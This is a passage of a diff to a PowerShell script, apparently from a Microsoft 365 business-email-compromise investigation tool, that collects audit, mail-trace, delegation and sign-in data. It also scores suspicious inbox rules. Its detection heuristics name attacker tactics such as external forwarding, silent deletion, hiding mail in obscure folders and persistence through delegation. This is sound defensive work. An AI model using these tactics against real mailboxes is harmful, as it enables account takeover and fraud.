Where-Object { $_ }) + $ExternalForward = @($ForwardDomains | Where-Object { $InternalDomains -notcontains $_ }).Count -gt 0 + if ($ExternalForward) { $Reasons.Add('Forwards or redirects mail to an external address') } + elseif ($ForwardTargets.Count -gt 0) { $Reasons.Add('Forwards or redirects messages') } + if ($Rule.DeleteMessage -eq $true) { $Reasons.Add('Deletes messages') } + if ($Rule.MarkAsRead -eq $true) { $Reasons.Add('Marks messages as read') } + $MovesToLowVis = [bool]($LowVisibilityRegex -and [string]$Rule.MoveToFolder -match $LowVisibilityRegex) + if ($MovesToLowVis) { $Reasons.Add('Moves messages to a low-visibility folder') } + if ($Rule.StopProcessingRules -eq $true) { $Reasons.Add('Stops processing other rules') } + $KeywordHit = $false + if ($SensitiveKeywordRegex) { foreach ($KP in $RuleKeywordProps) { if ((@($Rule.$KP) -join ' ') -match $SensitiveKeywordRegex) { $KeywordHit = $true; break } } } + if ($KeywordHit) { $Reasons.Add('Targets financial or sensitive keywords') } + # Acts on all mail: a hiding/exfil action (forward, delete, move) with no scoping condition. + $HasCondition = $false + foreach ($CP in $RuleConditionProps) { $CV = $Rule.$CP; if (($CV -is [bool] -and $CV) -or (@($CV | Where-Object { $_ }).Count -gt 0)) { $HasCondition = $true; break } } + $HidingAction = [bool]($ForwardTargets.Count -gt 0 -or ($Rule.DeleteMessage -eq $true) -or $Rule.MoveToFolder) + $ActsOnAll = ($HidingAction -and -not $HasCondition) + if ($ActsOnAll) { $Reasons.Add('Acts on all incoming mail') } + if ($SensitiveNameRegex -and [string]$Rule.Name -match $SensitiveNameRegex) { $Reasons.Add('Security-sensitive rule name') } + # Strong indicators mark a rule 'suspicious' for the score's +5 signal (RSS stays, plus these). + $Suspicious = [bool]($ExternalForward -or ($Rule.DeleteMessage -eq $true) -or $MovesToLowVis -or $ActsOnAll -or ([string]$Rule.MoveToFolder -clike "*$SuspiciousFolder*")) + $Rule | Select-Object *, + @{ Name = 'RecentlyChanged'; Expression = { $_.Name -in $RecentRuleNames } }, + @{ Name = 'RiskReasons'; Expression = { $Reasons.ToArray() } }, + @{ Name = 'Suspicious'; Expression = { $Suspicious } }, + @{ Name = 'Risk'; Expression = { if ($Suspicious -or $Reasons.Count -gt 1) { 'High' } elseif ($Reasons.Count -eq 1) { 'Medium' } else { 'Review' } } } + }) Write-Information 'Getting trusted and blocked senders' $SafelistError = $null @@ -192,98 +337,85 @@ $JunkConfig = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-MailboxJunkEmailConfiguration' -cmdParams @{ Identity = $UserName } -Anchor $UserName $TrustedSenders = @($JunkConfig.TrustedSendersAndDomains | Where-Object { $_ }) $BlockedSenders = @($JunkConfig.BlockedSendersAndDomains | Where-Object { $_ }) + & $Mark 'Safelists' ([pscustomobject]@{ Complete = $true; Cap = $null; Error = $null; Count = $TrustedSenders.Count + $BlockedSenders.Count }) } catch { $TrustedSenders = @() $BlockedSenders = @() $CippSafelistError = Get-CippException -Exception $_ $SafelistError = "Could not retrieve the trusted/blocked senders list: $($CippSafelistError.NormalizedError)" + & $Mark 'Safelists' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $SafelistError; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve junk email configuration for $($UserName): $($CippSafelistError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippSafelistError } Write-Information 'Getting safelist changes' try { $SafelistChanges = if ($auditLog -eq $false) { @() } else { - $SafelistSearchParam = @{ - SessionCommand = 'ReturnLargeSet' - Operations = @('Set-MailboxJunkEmailConfiguration') - sessionid = (Get-Random -Minimum 10000 -Maximum 99999) - startDate = $startDate - endDate = $endDate - # array for the same String[] binding reason as the rule search above - UserIds = @($UserName) - } - $SafelistAuditData = (New-ExoRequest -tenantid $TenantFilter -cmdlet 'Search-UnifiedAuditLog' -cmdParams $SafelistSearchParam -Anchor $UserName).AuditData - if (-not $SafelistAuditData) { @() } else { - @($SafelistAuditData | ConvertFrom-Json -ErrorAction Stop | ForEach-Object { - $TrustedValue = ($_.Parameters | Where-Object { $_.Name -eq 'TrustedSendersAndDomains' }).Value - $BlockedValue = ($_.Parameters | Where-Object { $_.Name -eq 'BlockedSendersAndDomains' }).Value - [pscustomobject]@{ - Operation = $_.Operation - UserKey = $_.UserId - Date = $_.CreationTime - ClientIP = $_.ClientIP ?? $_.ClientIPAddress - # the audit record carries the full new list, not a delta - Trusted = if ($TrustedValue) { @(($TrustedValue -split ';').Trim() | Where-Object { $_ }) } else { $null } - Blocked = if ($BlockedValue) { @(($BlockedValue -split ';').Trim() | Where-Object { $_ }) } else { $null } - } - }) - } + if ($ChangeSearchError) { throw $ChangeSearchError.NormalizedError } + $SafelistRecords = @($ChangeRecords | Where-Object { $SafelistOps -contains [string]$_.Operation }) + & $Mark 'SafelistChanges' ([pscustomobject]@{ Complete = [bool]$ChangeSearch.Complete; Cap = $ChangeSearch.Cap; Error = $null; Count = $SafelistRecords.Count }) + @($SafelistRecords | ForEach-Object { $_.AuditData } | Where-Object { $_ } | ForEach-Object { + $TrustedValue = ($_.Parameters | Where-Object { $_.Name -eq 'TrustedSendersAndDomains' }).Value + $BlockedValue = ($_.Parameters | Where-Object { $_.Name -eq 'BlockedSendersAndDomains' }).Value + [pscustomobject]@{ + Operation = $_.Operation + UserKey = $_.UserId + Date = $_.CreationTime + ClientIP = $_.ClientIP ?? $_.ClientIPAddress + # the audit record carries the full new list, not a delta + Trusted = if ($TrustedValue) { @(($TrustedValue -split ';').Trim() | Where-Object { $_ }) } else { $null } + Blocked = if ($BlockedValue) { @(($BlockedValue -split ';').Trim() | Where-Object { $_ }) } else { $null } + } + }) } } catch { $SafelistChanges = @() $CippSafelistChangeError = Get-CippException -Exception $_ + & $Mark 'SafelistChanges' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $CippSafelistChangeError.NormalizedError; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve safelist changes for $($UserName): $($CippSafelistChangeError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippSafelistChangeError } Write-Information 'Getting sharing link activity' try { $SharingChanges = if ($auditLog -eq $false) { @() } else { - $SharingSearchParam = @{ - SessionCommand = 'ReturnLargeSet' - # link creation/changes only - AnonymousLinkUsed and access events are usage, not exposure changes - Operations = @('SharingSet', 'SharingInvitationCreated', 'AnonymousLinkCreated', 'AnonymousLinkUpdated', 'SecureLinkCreated', 'SecureLinkUpdated', 'AddedToSecureLink', 'CompanyLinkCreated') - sessionid = (Get-Random -Minimum 10000 -Maximum 99999) - startDate = $startDate - endDate = $endDate - # array for the same String[] binding reason as the rule search above - UserIds = @($UserName) - } - $SharingAuditData = (New-ExoRequest -tenantid $TenantFilter -cmdlet 'Search-UnifiedAuditLog' -cmdParams $SharingSearchParam -Anchor $UserName).AuditData - if (-not $SharingAuditData) { @() } else { - @($SharingAuditData | ConvertFrom-Json -ErrorAction Stop | ForEach-Object { - [pscustomobject]@{ - Operation = $_.Operation - UserKey = $_.UserId - Date = $_.CreationTime - Workload = $_.Workload - FileName = $_.SourceFileName - ItemUrl = $_.ObjectId - Target = $_.TargetUserOrGroupName - TargetType = $_.TargetUserOrGroupType - ClientIP = $_.ClientIP ?? $_.ClientIPAddress - } - }) - } + # link creation/changes only - AnonymousLinkUsed and access events are usage, not exposure changes + if ($ChangeSearchError) { throw $ChangeSearchError.NormalizedError } + $SharingRecords = @($ChangeRecords | Where-Object { $SharingOps -contains [string]$_.Operation }) + & $Mark 'SharingChanges' ([pscustomobject]@{ Complete = [bool]$ChangeSearch.Complete; Cap = $ChangeSearch.Cap; Error = $null; Count = $SharingRecords.Count }) + @($SharingRecords | ForEach-Object { $_.AuditData } | Where-Object { $_ } | ForEach-Object { + [pscustomobject]@{ + Operation = $_.Operation + UserKey = $_.UserId + Date = $_.CreationTime + Workload = $_.Workload + FileName = $_.SourceFileName + ItemUrl = $_.ObjectId + Target = $_.TargetUserOrGroupName + TargetType = $_.TargetUserOrGroupType + ClientIP = $_.ClientIP ?? $_.ClientIPAddress + } + }) } } catch { $SharingChanges = @() $CippSharingError = Get-CippException -Exception $_ + & $Mark 'SharingChanges' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $CippSharingError.NormalizedError; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve sharing link activity for $($UserName): $($CippSharingError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippSharingError } + & $Phase 'SentMail' 'Walking the sent message trace' Write-Information 'Getting sent message trace' + $StoredSentCap = [int]($Caps.storedSentMessages ?? 1000) try { - $MessageTraceParams = @{ - SenderAddress = $UserName - StartDate = $startDate.ToString('s') - EndDate = $endDate.ToString('s') - } - $SentMessagesRaw = @(New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-MessageTraceV2' -cmdParams $MessageTraceParams -Anchor $UserName) - $SentMessages = @($SentMessagesRaw | Select-Object MessageTraceId, Status, Subject, RecipientAddress, @{ Name = 'Received'; Expression = { $_.Received.ToString('u') } }, FromIP) + $SentTrace = Get-CIPPBecMessageTrace -TenantFilter $TenantFilter -SenderAddress $UserName -StartDate $startDate -EndDate $endDate -Anchor $UserName -MaxPages ([int]($Caps.messageTracePages ?? 5)) + $SentMessagesRaw = @($SentTrace.Rows) + $SentMessages = @($SentMessagesRaw | Select-Object -First $StoredSentCap | Select-Object MessageTraceId, Status, Subject, RecipientAddress, @{ Name = 'Received'; Expression = { ([datetime]$_.Received).ToString('u') } }, FromIP) + $SentCapText = if (-not $SentTrace.Complete) { $SentTrace.Cap } elseif ($SentMessagesRaw.Count -gt $StoredSentCap) { "$StoredSentCap stored rows (analysis covered all $($SentMessagesRaw.Count))" } else { $null } + & $Mark 'SentMessages' ([pscustomobject]@{ Complete = ($SentTrace.Complete -and $SentMessagesRaw.Count -le $StoredSentCap); Cap = $SentCapText; Error = $null; Count = $SentMessagesRaw.Count }) } catch { $SentMessagesRaw = @() $SentMessages = @() $CippTraceError = Get-CippException -Exception $_ + & $Mark 'SentMessages' ([pscustomobject]@{ Complete = $false; Cap = $null; Error = $CippTraceError.NormalizedError; Count = 0 }) Write-LogMessage -API 'BECRun' -message "Failed to retrieve message trace for $($UserName): $($CippTraceError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CippTraceError } @@ -291,11 +423,14 @@ # are distinct MessageTraceIds and 'recipients' are rows - one mail BCC'd to 200 people # and 200 individual sends are both blasts, just along different axes. try { - $RepeatSubjectMessages = 5 # same subject sent as this many separate messages - $RepeatSubjectRecipients = 20 # or reaching this many recipients in total - $BurstMessages = 10 # distinct messages inside one window - $BurstRecipients = 30 # or recipients inside one window - $BurstWindowTicks = [timespan]::FromMinutes(10).Ticks + $SentMail = $Heuristics.sentMail + $RepeatSubjectMessages = [int]($SentMail.repeatSubjectMessages ?? 5) # same subject sent as this many separate messages + $RepeatSubjectRecipients = [int]($SentMail.repeatSubjectRecipients ?? 20) # or reaching this many recipients in total + $MinRepeatedSubjectMessages = [int]($SentMail.minRepeatedSubjectMessages ?? 3) + $BurstMessages = [int]($SentMail.burstMessages ?? 10) # distinct messages inside one window + $BurstRecipients = [int]($SentMail.burstRecipients ?? 30) # or recipients inside one window + $BurstWindowMinutes = [int]($SentMail.burstWindowMinutes ?? 10) + $BurstWindowTicks = [timespan]::FromMinutes($BurstWindowMinutes).Ticks $RepeatedSubjects = @($SentMessagesRaw | Group-Object -Property { ([string]$_.Subject).Trim().ToLowerInvariant() } | ForEach-Object { $MessageCount = @($_.Group.MessageTraceId | Select-Object -Unique).Count @@ -308,7 +443,7 @@ LastSent = if ($Times.Count -gt 0) { ([datetime]$Times[-1]).ToString('u') } else { $null } Flagged = ($MessageCount -ge $RepeatSubjectMessages -or $_.Count -ge $RepeatSubjectRecipients) } - } | Where-Object { $_.MessageCount -ge 3 -or $_.Flagged } | Sort-Object -Property MessageCount -Descending | Select-Object -First 10) + } | Where-Object { $_.MessageCount -ge $MinRepeatedSubjectMessages -or $_.Flagged } | Sort-Object -Property MessageCount -Descending | Select-Object -First 10) $Bursts = @($SentMessagesRaw | Where-Object { $_.Received } | Group-Object -Property { [long](([datetime]$_.Received).ToUniversalTime().Ticks / $BurstWindowTicks) } | ForEach-Object { $MessageCount = @($_.Group.MessageTraceId | Select-Object -Unique).Count @@ -316,7 +451,7 @@ $TopSubject = ($_.Group | Group-Object -Property Subject | Sort-Object -Property Count -Descending | Select-Object -First 1).Name [pscustomobject]@{ WindowStart = [datetime]::new(([long]$_.Name) * $BurstWindowTicks, [System.DateTimeKind]::Utc).ToString('u') - WindowMinutes = 10 + WindowMinutes = $BurstWindowMinutes MessageCount = $MessageCount RecipientCount = $_.Count TopSubject = $TopSubject @@ -344,6 +479,7 @@ Write-LogMessage -API 'BECRun' -message "Failed to analyze sent message patterns for $($UserName): $($_.Exception.Message)" -tenant $TenantFilter -sev Warning } + & $Phase 'Tenant' 'Reading tenant sign-ins, users, MFA methods and applications' Write-Information 'Getting last 50 tenant sign-ins' try { $TenantLastSignIns = New-GraphGetRequest -uri "https://graph.microsoft.com/beta/auditLogs/signIns?`$filter=userDisplayName ne 'On-Premises Directory Synchronization Service Account'&`$top=50&`$orderby=createdDateTime desc" -tenantid $TenantFilter -noPagination $true | Select-Object @{ Name = 'CreatedDateTime'; Expression = $SignInDate }, @@ -414,6 +550,11 @@ Write-Information 'Getting bulk requests' $GraphResults = New-GraphBulkRequest -Requests $Requests -tenantid $TenantFilter -asapp $true + foreach ($Pair in @(@{ Id = 'Users'; Name = 'TenantUsers' }, @{ Id = 'MFADevices'; Name = 'MFAMethods' }, @{ Id = 'NewSPs'; Name = 'NewApps' })) { + $Response = $GraphResults | Where-Object { $_.id -eq $Pair.Id } | Select-Object -First 1 + $Failed = (-not $Response) -or ([int]$Response.status -ge 400) + & $Mark $Pair.Name ([pscustomobject]@{ Complete = (-not $Failed); Cap = $null; Error = $(if ($Failed) { $Response.body.error.message ?? "Graph request $($Pair.Id) failed" } else { $null }); Count = @($Response.body.value).Count }) + } $PasswordChanges = (($GraphResults | Where-Object { $_.id -eq 'Users' }).body.value | Where-Object { $_.lastPasswordChangeDateTime -ge $startDate }) ?? @() $NewUsers = (($GraphResults | Where-Object { $_.id -eq 'Users' }).body.value | Where-Object { $_.createdDateTime -ge $startDate }) ?? @() @@ -449,7 +590,7 @@ } }) - # Intune managed devices for the suspect user — surface Graph failures instead of a silent empty list + # Intune managed devices for the suspect user - surface Graph failures instead of a silent empty list $IntuneResponse = $GraphResults | Where-Object { $_.id -eq 'IntuneDevices' } | Select-Object -First 1 $IntuneDevicesError = $null $IntuneDevices = @() @@ -501,14 +642,184 @@ } ) } + & $Mark 'IntuneDevices' ([pscustomobject]@{ Complete = (-not $IntuneDevicesError); Cap = $null; Error = $IntuneDevicesError; Count = $IntuneDevices.Count }) + + # --------------------------------------------------------------------------------- + # Full scope: the collectors that make this an investigation rather than a snapshot. + # Each one degrades to an Error marker - a failed collector never fails the run. + # --------------------------------------------------------------------------------- + $MailboxState = $null + $Delegations = @() + $MailboxAddIns = @() + $UserGrants = @() + $TransportRuleChanges = @() + $TransportRulesFlagged = @() + $TransportRuleTotal = $null + $ReceivedMailFindings = @() + $ReceivedMailSummary = $null + $DefenderDetections = @() + $DefenderAvailable = $false + $DirectoryAudits = @() + $RegisteredDevices = @() + $NonInteractiveSignIns = @() + $MailActivity = @() + $MailActivitySummary = $null + $RiskState = $null + $AcceptedDomains = @() + $HuntressFeedAvailable = $null + if ($Scope -eq 'Full') { + & $Phase 'MailboxInventory' 'Reading mailbox state, delegations and add-ins' + Write-Information 'Full scope: accepted domains' + try { + $AcceptedDomains = @((New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-AcceptedDomain' -Anchor $UserName).DomainName | Where-Object { $_ } | ForEach-Object { [string]$_ }) + } catch { + Write-LogMessage -API 'BECRun' -message "Failed to retrieve accepted domains for $($TenantFilter): $((Get-NormalizedError -message $_.Exception.Message))" -tenant $TenantFilter -sev Warning + } + # Without accepted domains the external-trustee and typosquat checks fall back to the user's own domain. + if ($AcceptedDomains.Count -eq 0 -and $UserName -match '@') { $AcceptedDomains = @(($UserName -split '@')[-1]) } - # Geo-locate the client IPs behind rule changes, safelist changes and sent mail so + $Collect = { + param($Name, [scriptblock]$Body) + try { + & $Body + } catch { + $CollectorError = Get-CippException -Exception $_ + Write-LogMessage -API 'BECRun' -message "BEC collector $Name failed for $($UserName): $($CollectorError.NormalizedError)" -tenant $TenantFilter -sev Warning -LogData $CollectorError + New-CIPPBecCollectorResult -Data @() -Error $CollectorError.NormalizedError + } + } + + # Preflight/eligibility: work out up front what this user and tenant actually support, so a + # check that cannot apply is skipped with its reason instead of run only to fail. Unknowns + # (a preflight that itself errors) fall through to running the check - the error classifier + # is the safety net for anything these preflights do not foresee. + $HasMailbox = $true + try { + $null = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-Mailbox' -cmdParams @{ Identity = $UserName } -Anchor $UserName -Select 'PrimarySmtpAddress' + } catch { + if ((Get-CIPPBecErrorInfo -Message (Get-CippException -Exception $_).NormalizedError).Skipped) { $HasMailbox = $false } + } + $SkusRead = $false + $ServicePlans = @() + try { + $ServicePlans = @(New-GraphGetRequest -uri 'https://graph.microsoft.com/v1.0/subscribedSkus' -tenantid $TenantFilter -AsApp $true | ForEach-Object { $_.servicePlans } | Where-Object { $_.provisioningStatus -in @('Success', 'PendingProvisioning') } | ForEach-Object { [string]$_.servicePlanName }) + $SkusRead = $true + } catch { + Write-LogMessage -API 'BECRun' -message "BEC preflight could not read tenant plans for $($TenantFilter): $((Get-NormalizedError -message $_.Exception.Message))" -tenant $TenantFilter -sev Info + } + # Gate only when we definitively read the tenant's plans; on an unknown, attempt the check and + # let its own licence error (classified as skipped) decide - never skip on a failed preflight. + $HasEntraP2 = (-not $SkusRead) -or ($ServicePlans -contains 'AAD_PREMIUM_P2') + $HasDefenderP2 = (-not $SkusRead) -or ($ServicePlans -contains 'THREAT_INTELLIGENCE') + $Skip = { param($Requirement) New-CIPPBecCollectorResult -Data @() -Skipped $true -Requirement $Requirement } + + Write-Information 'Full scope: mailbox inventory' + $Inventory = if ($HasMailbox) { & $Collect 'MailboxInventory' { Get-CIPPBecMailboxInventory -TenantFilter $TenantFilter -UserPrincipalName $UserName -Heuristics $Heuristics -AcceptedDomains $AcceptedDomains } } else { & $Skip 'this user has no Exchange Online mailbox' } + if ($Inventory.PSObject.Properties['MailboxState']) { + & $Mark 'MailboxState' $Inventory.MailboxState + & $Mark 'Delegations' $Inventory.Delegations + & $Mark 'MailboxAddIns' $Inventory.AddIns + $MailboxState = $Inventory.MailboxState.Data + $Delegations = @($Inventory.Delegations.Data) + $MailboxAddIns = @($Inventory.AddIns.Data) + # Exchange returns GrantSendOnBehalfTo (and some folder members) as directory ids; show the UPN. + $UserById = @{} + foreach ($TenantUser in @(($GraphResults | Where-Object { $_.id -eq 'Users' }).body.value)) { if ($TenantUser.id) { $UserById[[string]$TenantUser.id] = [string]$TenantUser.userPrincipalName } } + # A delegation whose grant is in this window's audit log (Add-MailboxPermission / Add-RecipientPermission / + # folder grants on this mailbox) is the classic persistence move and is flagged even for an internal trustee. + $RecentTrustees = @($PermissionsLog | Where-Object { $_.TargetsSuspect -and $_.Operation -match '^(Add-|Update)' -and $_.Trustee } | ForEach-Object { $_.Trustee.ToLowerInvariant() }) + foreach ($Delegation in $Delegations) { + if ($Delegation.Trustee -match '^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$' -and $UserById.ContainsKey($Delegation.Trustee)) { + $Delegation | Add-Member -NotePropertyName 'TrusteeId' -NotePropertyValue $Delegation.Trustee -Force + $Delegation.Trustee = $UserById[$Delegation.Trustee] + } + $GrantedInWindow = [bool]($Delegation.Trustee -and $RecentTrustees -contains $Delegation.Trustee.ToLowerInvariant()) + $Delegation | Add-Member -NotePropertyName 'GrantedInWindow' -NotePropertyValue $GrantedInWindow -Force + if ($GrantedInWindow) { $Delegation.Flagged = $true } + } + $Delegations = @($Delegations | Sort-Object -Property @{ Expression = { $_.Flagged }; Descending = $true }, PermissionType, Trustee) + # ForwardingAddress (internal forwarding) is a directory id too + if ($MailboxState -and $MailboxState.ForwardingAddress -match '^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$' -and $UserById.ContainsKey([string]$MailboxState.ForwardingAddress)) { + $MailboxState | Add-Member -NotePropertyName 'ForwardingAddressId' -NotePropertyValue $MailboxState.ForwardingAddress -Force + $MailboxState.ForwardingAddress = $UserById[[string]$MailboxState.ForwardingAddress] + } + } else { + & $Mark 'MailboxState' $Inventory; & $Mark 'Delegations' $Inventory; & $Mark 'MailboxAddIns' $Inventory + } + + & $Phase 'Grants' 'Reading application consents' + Write-Information 'Full scope: user grants' + $Grants = & $Collect 'UserGrants' { Get-CIPPBecUserGrants -TenantFilter $TenantFilter -UserId $SuspectUser -Heuristics $Heuristics } + & $Mark 'UserGrants' $Grants + $UserGrants = @($Grants.Data) + $HuntressFeedAvailable = $Grants.HuntressFeedAvailable + + & $Phase 'TransportRules' 'Reading transport rules and their changes' + Write-Information 'Full scope: transport rules' + $Transport = & $Collect 'TransportRules' { Get-CIPPBecTransportRules -TenantFilter $TenantFilter -StartDate $startDate -EndDate $endDate -Heuristics $Heuristics -Anchor $UserName } + if ($Transport.PSObject.Properties['Changes']) { + & $Mark 'TransportRuleChanges' $Transport.Changes + & $Mark 'TransportRulesFlagged' $Transport.Flagged + $TransportRuleChanges = @($Transport.Changes.Data) + $TransportRulesFlagged = @($Transport.Flagged.Data) + $TransportRuleTotal = $Transport.Flagged.TotalRules + } else { + & $Mark 'TransportRuleChanges' $Transport; & $Mark 'TransportRulesFlagged' $Transport + } + + & $Phase 'ReceivedMail' 'Reading the received-mail trace and Defender verdicts' + Write-Information 'Full scope: received mail' + $Received = & $Collect 'ReceivedMail' { Get-CIPPBecReceivedMailFindings -TenantFilter $TenantFilter -UserPrincipalName $UserName -StartDate $startDate -EndDate $endDate -Heuristics $Heuristics -AcceptedDomains $AcceptedDomains -Anchor $UserName -IncludeDefender:$HasDefenderP2 } + if ($Received.PSObject.Properties['Findings']) { + & $Mark 'ReceivedMailFindings' $Received.Findings + & $Mark 'DefenderDetections' $Received.Defender + $ReceivedMailFindings = @($Received.Findings.Data) + $ReceivedMailSummary = $Received.Findings.Summary + $DefenderDetections = @($Received.Defender.Data) + $DefenderAvailable = [bool]$Received.Defender.Available + } else { + & $Mark 'ReceivedMailFindings' $Received; & $Mark 'DefenderDetections' $Received + } + + & $Phase 'Directory' 'Reading directory audits, registered devices and non-interactive sign-ins' + Write-Information 'Full scope: directory audits' + $Audits = & $Collect 'DirectoryAudits' { Get-CIPPBecDirectoryAudits -TenantFilter $TenantFilter -UserId $SuspectUser -StartDate $startDate -Heuristics $Heuristics -Cap ([int]($Caps.directoryAudits ?? 500)) } + & $Mark 'DirectoryAudits' $Audits + $DirectoryAudits = @($Audits.Data) + + Write-Information 'Full scope: registered devices' + $Registered = & $Collect 'RegisteredDevices' { Get-CIPPBecRegisteredDevices -TenantFilter $TenantFilter -UserId $SuspectUser -StartDate $startDate } + & $Mark 'RegisteredDevices' $Registered + $RegisteredDevices = @($Registered.Data) + + Write-Information 'Full scope: non-interactive sign-ins' + $NonInteractive = & $Collect 'NonInteractiveSignIns' { Get-CIPPBecNonInteractiveSignIns -TenantFilter $TenantFilter -UserId $SuspectUser -UsageLocation $UsageLocation -Top ([int]($Caps.nonInteractiveSignIns ?? 50)) } + & $Mark 'NonInteractiveSignIns' $NonInteractive + $NonInteractiveSignIns = @($NonInteractive.Data) + + & $Phase 'Activity' 'Reading mailbox activity counts and Identity Protection state' + Write-Information 'Full scope: mailbox activity' + $Activity = if ($auditLog -eq $false) { New-CIPPBecCollectorResult -Data @() -Error 'Unified audit log ingestion is disabled for this tenant' } else { & $Collect 'MailActivity' { Get-CIPPBecMailActivity -TenantFilter $TenantFilter -UserPrincipalName $UserName -StartDate $startDate -EndDate $endDate -Heuristics $Heuristics -Anchor $UserName } } + & $Mark 'MailActivity' $Activity + $MailActivity = @($Activity.Data) + $MailActivitySummary = $Activity.Summary + + Write-Information 'Full scope: risk state' + $Risk = if ($HasEntraP2) { & $Collect 'RiskState' { Get-CIPPBecRiskState -TenantFilter $TenantFilter -UserId $SuspectUser -StartDate $startDate -Cap ([int]($Caps.riskDetections ?? 50)) } } else { & $Skip 'requires Entra ID P2 (Identity Protection)' } + & $Mark 'RiskState' $Risk + $RiskState = $Risk.Data + } + + # Geo-locate the client IPs behind rule changes, safelist changes, sharing changes, sent + # mail and (Full scope) transport-rule changes, directory audits and mailbox activity so # activity can be compared against the user's assigned usage location. Sign-ins carry # their own location from Graph. A geo failure degrades to no location, never a failed run. + & $Phase 'Score' 'Resolving locations and computing the threat score' Write-Information 'Resolving IP locations' $ClientIpRegex = [regex]'^(?(?:\d{1,3}(?:\.\d{1,3}){3}|\[[0-9a-fA-F:]+\]|[0-9a-fA-F:]+))(?::\d+)?$' $GeoIPCandidates = [System.Collections.Generic.List[string]]::new() - foreach ($Row in (@($RuleChangesLog) + @($SafelistChanges) + @($SharingChanges))) { if ($Row.ClientIP) { $GeoIPCandidates.Add([string]$Row.ClientIP) } } + $GeoRows = @($RuleChangesLog) + @($SafelistChanges) + @($SharingChanges) + @($PermissionsLog | Where-Object { $_.TargetsSuspect }) + @($TransportRuleChanges) + @($DirectoryAudits) + @($MailActivity) + foreach ($Row in $GeoRows) { if ($Row.ClientIP) { $GeoIPCandidates.Add([string]$Row.ClientIP) } } foreach ($Row in @($SentMessages)) { if ($Row.FromIP) { $GeoIPCandidates.Add([string]$Row.FromIP) } } $GeoMap = @{} if ($GeoIPCandidates.Count -gt 0) { @@ -534,7 +845,7 @@ return ($Country -ne $UsageLocation) } - foreach ($Row in (@($RuleChangesLog) + @($SafelistChanges) + @($SharingChanges))) { + foreach ($Row in $GeoRows) { $Geo = & $GetGeo $Row.ClientIP $Row | Add-Member -NotePropertyMembers ([ordered]@{ Country = $Geo.CountryOrRegion @@ -558,20 +869,27 @@ [PSCustomObject]@{ Country = $_.Name; Count = $_.Count } }) $LocationAnalysis = [PSCustomObject]@{ - UsageLocation = $UsageLocation - UserRegisteredCountry = $SuspectUserDetail.country - SignInCountries = $SignInCountries - ForeignSignInCount = @($SuspectUserSignIns | Where-Object { $_.ForeignLocation -eq $true }).Count + UsageLocation = $UsageLocation + UserRegisteredCountry = $SuspectUserDetail.country + SignInCountries = $SignInCountries + ForeignSignInCount = @($SuspectUserSignIns | Where-Object { $_.ForeignLocation -eq $true }).Count # failed foreign attempts are password-spray background noise; only a success proves access - ForeignSuccessfulSignInCount = @($SuspectUserSignIns | Where-Object { $_.ForeignLocation -eq $true -and $_.Status -eq 'Success' }).Count - ForeignRuleChangeCount = @($RuleChangesLog | Where-Object { $_.ForeignLocation -eq $true }).Count - ForeignSafelistChangeCount = @($SafelistChanges | Where-Object { $_.ForeignLocation -eq $true }).Count - ForeignSharingChangeCount = @($SharingChanges | Where-Object { $_.ForeignLocation -eq $true }).Count - ForeignSentMessageCount = @($SentMessages | Where-Object { $_.ForeignLocation -eq $true }).Count - Note = if (-not $UsageLocation) { 'The user has no usage location assigned in Entra ID, so activity cannot be compared against an expected country. Countries are still listed for manual review.' } else { $null } + ForeignSuccessfulSignInCount = @($SuspectUserSignIns | Where-Object { $_.ForeignLocation -eq $true -and $_.Status -eq 'Success' }).Count + ForeignRuleChangeCount = @($RuleChangesLog | Where-Object { $_.ForeignLocation -eq $true }).Count + ForeignSafelistChangeCount = @($SafelistChanges | Where-Object { $_.ForeignLocation -eq $true }).Count + ForeignSharingChangeCount = @($SharingChanges | Where-Object { $_.ForeignLocation -eq $true }).Count + ForeignSentMessageCount = @($SentMessages | Where-Object { $_.ForeignLocation -eq $true }).Count + ForeignNonInteractiveSignInCount = @($NonInteractiveSignIns | Where-Object { $_.ForeignLocation -eq $true -and $_.Status -eq 'Success' }).Count + ForeignTransportRuleChangeCount = @($TransportRuleChanges | Where-Object { $_.ForeignLocation -eq $true }).Count + ForeignDirectoryAuditCount = @($DirectoryAudits | Where-Object { $_.ForeignLocation -eq $true }).Count + ForeignMailActivityCount = @($MailActivity | Where-Object { $_.ForeignLocation -eq $true }).Count + Note = if (-not $UsageLocation) { 'The user has no usage location assigned in Entra ID, so activity cannot be compared against an expected country. Countries are still listed for manual review.' } else { $null } } $Results = [PSCustomObject]@{ + CaseId = $CaseId + Scope = $Scope + ContentPolicy = 'metadata-only' AddedApps = @($NewSPs) MaliciousSPs = @($MaliciousSPs) SuspectUserSignIns = @($SuspectUserSignIns) @@ -595,32 +913,67 @@ IntuneDevices = @($IntuneDevices) IntuneDevicesError = $IntuneDevicesError LocationAnalysis = $LocationAnalysis - AnalysisWindowDays = 7 + # Full-scope sections (empty arrays / $null on a Quick run) + MailboxState = $MailboxState + Delegations = @($Delegations) + MailboxAddIns = @($MailboxAddIns) + UserGrants = @($UserGrants) + HuntressFeedAvailable = $HuntressFeedAvailable + TransportRuleChanges = @($TransportRuleChanges) + TransportRulesFlagged = @($TransportRulesFlagged) + TransportRuleTotal = $TransportRuleTotal + ReceivedMailFindings = @($ReceivedMailFindings) + ReceivedMailSummary = $ReceivedMailSummary + DefenderDetections = @($DefenderDetections) + DefenderAvailable = $DefenderAvailable + DirectoryAudits = @($DirectoryAudits) + RegisteredDevices = @($RegisteredDevices) + NonInteractiveSignIns = @($NonInteractiveSignIns) + MailActivity = @($MailActivity) + MailActivitySummary = $MailActivitySummary + RiskState = $RiskState + AcceptedDomains = 